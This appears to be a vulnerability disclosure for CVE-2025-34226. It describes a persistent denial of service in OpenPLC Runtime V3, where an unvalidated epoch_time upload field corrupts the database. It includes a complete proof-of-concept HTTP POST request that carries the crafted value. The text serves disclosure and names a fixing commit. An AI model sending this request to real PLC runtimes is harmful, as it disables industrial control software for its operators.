eyodav/cve-2025-34226OpenPLC Runtime suffers from a persistent denial of service (DoS) vulnerability in the /upload-program-action endpoint.
| Field | Value |
|---|
| CVE ID | CVE-2025-34226 |
| Affects | OpenPLC Runtime V3 |
| Fixed in | (commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| Severity | High |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (High) |
| CWE | CWE-664 Improper Control of a Resource Through Its Lifetime, CWE-20 Improper Input Validation |
OpenPLC Runtime suffers from a persistent denial of service (DoS) vulnerability in the /upload-program-action endpoint.
By modifying the epoch_time parameter during program upload, a low-privileged authenticated user can corrupt the backend database.
This corruption initially disables critical pages and eventually prevents the entire runtime from starting, effectively bricking the application until it is reinstalled.
The /upload-program-action endpoint accepts a field epoch_time that is written directly into the database without validation.
When this field is set to a crafted or nonsensical value (e.g., 1758627838 or malformed data), OpenPLC stores an inconsistent state.
At runtime reload or reboot, the application queries the corrupted row and encounters a NoneType object → fatal crash (TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programsDiscovered by: Eyodav